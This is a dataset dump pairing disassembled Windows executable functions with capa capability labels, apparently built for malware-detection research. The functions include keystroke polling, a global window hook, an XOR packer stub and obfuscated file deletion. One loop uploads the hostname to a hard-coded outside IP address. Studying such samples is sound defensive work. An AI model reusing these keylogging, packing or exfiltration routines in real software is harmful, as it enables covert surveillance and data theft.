joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4540c4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4540fc]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4540dd
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4540ec
or bl, 4
test esi, 0x20000000
je 0x4540f7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45a7c0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45a7d2
add esp, 0xfffffff0
call fcn.00403d58
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004209b4
mov eax, dword [0x46f7c4]
mov dword [eax + 4], ebx
mov dword [eax], 0x45ab64
mov eax, dword [0x46f7d0]
mov dword [eax + 4], ebx
mov dword [eax], 0x45ab70
mov eax, ebx
call fcn.0045ab7c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x417d80]
call fcn.004039f0
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x417d80]
call fcn.004039f0
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x417d80]
call fcn.004039f0
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x417d80]
call fcn.004039f0
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x417d80]
call fcn.004039f0
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x456f94
push eax
push 0
push 0
mov eax, dword [0x46f998]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x422418]
call fcn.00423c50
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x422418]
call fcn.00423c50
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x422418]
call fcn.00423c50
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0045afcc
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ae94
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ae94
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ae94
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45a90f
call fcn.00403db0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45ac78
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45ae23
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45ae04
mov dl, 1
mov eax, dword [0x418328]
call fcn.004039f0
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404830
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45adf3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00448b10
test al, al
je 0x45ade6
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45ae34
lea eax, [ebp - 0x254]
call fcn.00409af8
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45ade6
xor eax, eax
push ebp
push 0x45addf
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45ae6c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45adc8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404aa0
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45adc8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404aa0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ade6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45ace9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041c608
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ae2a
lea eax, [ebp - 0x260]
call fcn.00404830
ret

Function at 0x45b76c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x470bec]
cmp byte [eax + 0xa5], 0
jne 0x45b7dd
cmp dword [0x470c04], 0
jne 0x45b79e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45b728
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x470c04], eax
cmp dword [0x470c00], 0
jne 0x45b7b9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x470c00], eax
cmp dword [0x470c08], 0
jne 0x45b7dd
push esp
push 0
push 0
push 0x45b6cc
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x470c08], eax
pop edx
ret
Function at 0x45be70
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x470bec]
cmp dword [eax + 0x30], 0
je 0x45bf1a
cmp dword [ebx + 0x94], 0
jne 0x45bf14
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45be00
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45bf14
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45beda
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45bf14
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041a2d0
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45bee9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45ca78
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45caad
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404920
jmp 0x45caba
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404884
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45dbcc
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45dc0d
mov eax, esi
call fcn.0044413c
test al, al
je 0x45dc0d
mov eax, dword [ebx + 0x84]
call fcn.00443e38
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45dc0d
push 0
mov eax, dword [ebx + 0x84]
call fcn.00443e38
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x45e8f0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x417330]
call fcn.004052e8
xor eax, eax
push ebp
push 0x45ea34
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x46ef8c], 0
jne 0x45e943
mov ecx, dword [0x46f6c8]
mov dl, 1
mov eax, dword [0x407da8]
call fcn.0040c6c0
call fcn.004041c0
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00403300
mov eax, ebx
call fcn.004050ec
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x45ea44
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00406460
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.004050fc
test eax, eax
jle 0x45e9db
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x45e9d4
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404ab8
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404aa0
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408c38
test eax, eax
jne 0x45e9d4
mov ebx, 0x15
jmp 0x45e9e0
mov ebx, 0x10
jmp 0x45e9e0
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x46ef8c]
call fcn.0045e848
mov eax, dword [ebp - 8]
call fcn.0045e848
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00406478
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ea3b
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404854
lea eax, [ebp - 0x10]
mov edx, dword [0x417330]
call fcn.004053b8
ret

Function at 0x401b10
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
xor edx, edx
cmp edi, 4
jle 0x401b74
lea esi, [edi - 1]
mov ecx, dword [esp + 0x10]
shr esi, 2
mov eax, esi
push ebx
neg eax
lea edi, [edi + eax*4]
mov eax, dword [esp + 0x18]
mov ebx, dword [ecx]
mov ebp, dword [eax]
xor ebx, ebp
mov ebp, dword [eax + 4]
add eax, 4
add ecx, 4
or edx, ebx
add eax, 4
mov ebx, dword [ecx]
add ecx, 4
xor ebx, ebp
mov ebp, dword [eax]
or edx, ebx
mov ebx, dword [ecx]
xor ebx, ebp
mov ebp, dword [eax + 4]
add eax, 4
add ecx, 4
or edx, ebx
add eax, 4
mov ebx, dword [ecx]
add ecx, 4
xor ebx, ebp
or edx, ebx
dec esi
jne 0x401b34
pop ebx
jmp 0x401b7c
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
test edi, edi
jle 0x401b93
mov esi, edi
mov edi, dword [ecx]
mov ebp, dword [eax]
xor edi, ebp
add eax, 4
or edx, edi
add ecx, 4
dec esi
jne 0x401b82
xor eax, eax
pop edi
test edx, edx
pop esi
pop ebp
setne al
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x743a1586
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..text_1
mov ebx, 0x42f314
nop
mov ecx, 0x75274bc3
nop
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x40fb50
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0xac768c50
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
sub eax, 0x97830fe8
je 0x40fc5c
jmp 0x40fb88
mov eax, dword [ebp - 0x1c]
sub eax, 0xa1ae6431
je 0x40fc04
jmp 0x40fb9b
mov eax, dword [ebp - 0x1c]
sub eax, 0xac768c50
je 0x40fbec
jmp 0x40fbae
mov eax, dword [ebp - 0x1c]
sub eax, 0x19e8c591
je 0x40fc6e
jmp 0x40fbc1
mov eax, dword [ebp - 0x1c]
sub eax, 0x24a7607a
je 0x40fc40
jmp 0x40fbd4
mov eax, dword [ebp - 0x1c]
sub eax, 0x59094432
je 0x40fc90
jmp 0x40fbe7
jmp 0x40fc95
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0xa1ae6431
jmp 0x40fc95
mov edx, dword [ebp - 0xc]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 2
mov eax, 0xffffffff
xor eax, 0xfeed9cbc
or edx, ecx
or eax, 0xfeed9cbc
xor edx, 0xffffffff
and edx, eax
mov eax, 0x59094432
mov ecx, 0x24a7607a
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0x18], eax
jmp 0x40fc95
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 2
xor ecx, 2
or eax, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x97830fe8
jmp 0x40fc95
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x19e8c591
jmp 0x40fc95
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
sub esp, 8
mov dword [ebp - 0x18], 0x59094432
jmp 0x40fc95
add esp, 0x24
pop ebp
ret
jmp 0x40fb72
Function at 0x40fca0
Capabilities:
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xf586a596
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
sub eax, 0x93250025
je 0x40fde2
jmp 0x40fccc
mov eax, dword [ebp - 0x18]
sub eax, 0xa86505e9
je 0x40fdc7
jmp 0x40fcdf
mov eax, dword [ebp - 0x18]
sub eax, 0xf586a596
je 0x40fd56
jmp 0x40fcf2
mov eax, dword [ebp - 0x18]
sub eax, 0x1624f74f
je 0x40fdee
jmp 0x40fd05
mov eax, dword [ebp - 0x18]
sub eax, 0x183af920
je 0x40fdfa
jmp 0x40fd18
mov eax, dword [ebp - 0x18]
sub eax, 0x3b29102e
je 0x40fd8f
jmp 0x40fd2b
mov eax, dword [ebp - 0x18]
sub eax, 0x5482b586
je 0x40fdad
jmp 0x40fd3e
mov eax, dword [ebp - 0x18]
sub eax, 0x6f7c42cb
je 0x40fd74
jmp 0x40fd51
jmp 0x40fdff
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], 0x6f7c42cb
jmp 0x40fdff
mov edx, dword [ebp - 0xc]
mov eax, 0x183af920
mov ecx, 0x3b29102e
cmp edx, 0xffffffff
cmovne eax, ecx
mov dword [ebp - 0x14], eax
jmp 0x40fdff
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0x5482b586
jmp 0x40fdff
mov eax, dword [ebp - 8]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 1], al
mov dword [ebp - 0x14], 0xa86505e9
jmp 0x40fdff
mov dl, byte [ebp - 1]
mov eax, 0x93250025
mov ecx, 0x1624f74f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14], eax
jmp 0x40fdff
mov dword [ebp - 0x14], 0x183af920
jmp 0x40fdff
mov dword [ebp - 0x14], 0x183af920
jmp 0x40fdff
add esp, 0x1c
pop ebp
ret
jmp 0x40fcb6
Function at 0x429d88
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x429dc7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x429dc7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x429dc7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x429dc7
cmp dword [ecx + 0x74], 0xe
jbe 0x429dc7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x43152b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4315c8
push ebx
push esi
call fcn.004314f4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00431488
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x431575
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4315c7
push edi
push eax
call fcn.0042ffc0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x431595
call fcn.0043000e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4315c6
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00431488
add esp, 0x20
test eax, eax
jne 0x4315b4
push edi
call fcn.0043000e
jmp 0x4315bc
push ebx
call fcn.0043000e
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4327d7
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43b0e0
push 0x43b0d8
push str.FlsAlloc
push 0x1f
call fcn.00432696
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43280b
push dword [ebp + 8]
mov ecx, esi
call dword [0x43814c]
call esi
jmp 0x432811
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x432855
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43b0f0
push 0x43b0e8
push str.FlsGetValue
push 0x21
call fcn.00432696
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43288c
push dword [ebp + 8]
mov ecx, esi
call dword [0x43814c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x432894
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43b0f8
push 0x43b0f0
push str.FlsSetValue
push 0x22
call fcn.00432696
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4328ce
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x43814c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x437ba0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x437bcd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x437bcd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401880
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41c0a8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x426060]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov eax, dword [0x426060]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 0x10]
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.004043a0
push dword [ebp + 0xc]
lea eax, [esp + 0x2c]
push dword [ebp + 8]
push eax
call fcn.004017a0
add esp, 0x24
mov dword [esp + 0x38], 0
cmp dword [eax + 0x14], 0x10
jb 0x4018fd
mov eax, dword [eax]
mov dword [esp + 0xc], eax
mov ecx, esi
lea eax, [esp + 0xc]
push eax
call fcn.00405214
cmp dword [esp + 0x24], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x401926
push dword [esp + 0x10]
call fcn.00405341
add esp, 4
mov ecx, dword [ebp + 8]
mov eax, esi
mov dword [esi + 0xc], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi], vtable.std::_System_error.0
mov dword [esi + 0x10], ecx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004051ce
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402410
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c156
mov eax, dword fs:[0]
push eax
sub esp, 0x76c
mov eax, dword [0x426060]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x770], edx
mov dword [ebp - 0x774], ecx
mov eax, dword [ebp + 8]
push 0x40f
mov dword [ebp - 0x76c], eax
lea eax, [ebp - 0x733]
push 0
push eax
mov byte [ebp - 0x734], 0
call fcn.0040d0e0
add esp, 0xc
mov dword [ebp - 0x768], 0
lea eax, [ebp - 0x768]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov esi, dword [ebp - 0x768]
push esi
call fcn.00405c09
add esp, 4
mov ebx, eax
push esi
push 0
push ebx
call fcn.0040d0e0
add esp, 0xc
lea eax, [ebp - 0x768]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x750], 0xf
mov dword [ebp - 0x754], 0
mov byte [ebp - 0x764], 0
cmp byte [ebx], 0
jne 0x4024d7
xor ecx, ecx
jmp 0x4024e9
mov ecx, ebx
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4024e0
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0x764]
call fcn.004045e0
lea edx, [ebp - 0x764]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x74c]
call fcn.00402c60
mov byte [ebp - 4], 1
lea eax, [ebp - 0x74c]
cmp dword [ebp - 0x738], 0x10
cmovae eax, dword [ebp - 0x74c]
push eax
push dword [ebp - 0x774]
lea eax, [ebp - 0x734]
push 0x42382c
push eax
call fcn.00405b85
push 0x30b
lea eax, [ebp - 0x323]
mov byte [ebp - 0x324], 0
push 0
push eax
call fcn.0040d0e0
add esp, 0x1c
lea eax, [ebp - 0x734]
push dword [ebp - 0x770]
push eax
lea eax, [ebp - 0x324]
push str._sfile_s
push eax
call fcn.00405b85
mov edx, dword [ebp - 0x76c]
add esp, 0x10
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402587
sub ecx, esi
push ecx
lea ecx, [ebp - 0x324]
call fcn.004039d0
add esp, 4
mov esi, eax
neg esi
sbb esi, esi
neg esi
cmp dword [ebp - 0x738], 0x10
jb 0x4025be
push dword [ebp - 0x74c]
call fcn.00405341
add esp, 4
cmp dword [ebp - 0x750], 0x10
mov dword [ebp - 0x738], 0xf
mov dword [ebp - 0x73c], 0
mov byte [ebp - 0x74c], 0
jb 0x4025f0
push dword [ebp - 0x764]
call fcn.00405341
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004051ce
mov esp, ebp
pop ebp
ret
Function at 0x402800
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x668
mov eax, dword [0x426060]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, byte [0x4239b4]
movdqu xmm0, xmmword [str.srcreensaverinfo]
push esi
push edi
push 0x5db
mov byte [ebp - 0x20], al
lea eax, [ebp - 0x63f]
push 0
push eax
movdqu xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x640], 0
call fcn.0040d0e0
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
push 0
push 0
push 0x4029d0
push 0
push 0
call edi
push 0
push 0
push 1
push 0x11
call esi
push 0
push 0
push 1
push 0x77
call esi
push 0
push 0
push 0x258
push 0xf
call esi
push 0
lea eax, [ebp - 0x650]
mov dword [ebp - 0x654], 0
push eax
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x650], 0
push 0x10
movq qword [ebp - 0x65c], xmm0
call esi
push 0
lea eax, [ebp - 0x64c]
mov dword [ebp - 0x64c], 0
push eax
push 0
push 0x76
call esi
push 0
lea eax, [ebp - 0x644]
mov dword [ebp - 0x644], 0
push eax
push 0
push 0xe
call esi
push 0
lea eax, [ebp - 0x648]
mov dword [ebp - 0x648], 0
push eax
push 0
push 0x72
call esi
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0x658], eax
mov eax, dword [ebp - 0x644]
push 0x5d4
mov dword [ebp - 0x654], eax
lea eax, [ebp - 0x640]
push 0
push eax
call fcn.0040d0e0
movdqu xmm0, xmmword [ebp - 0x660]
push ecx
mov eax, esp
lea ecx, [ebp - 0x640]
movdqu xmmword [eax], xmm0
call fcn.00402610
movdqu xmm0, xmmword [str.http:__202.111.111.133:8022_upload_hostname]
mov eax, dword [0x423824]
mov dword [ebp - 0x38], eax
mov al, byte [0x423828]
movdqu xmmword [ebp - 0x60], xmm0
movdqu xmm0, xmmword [0x42380c]
movdqu xmmword [ebp - 0x50], xmm0
movq xmm0, qword [0x42381c]
movq qword [ebp - 0x40], xmm0
mov byte [ebp - 0x34], al
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x640]
push eax
lea ecx, [ebp - 0x60]
call fcn.00402410
add esp, 0x14
push 0x927c0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402866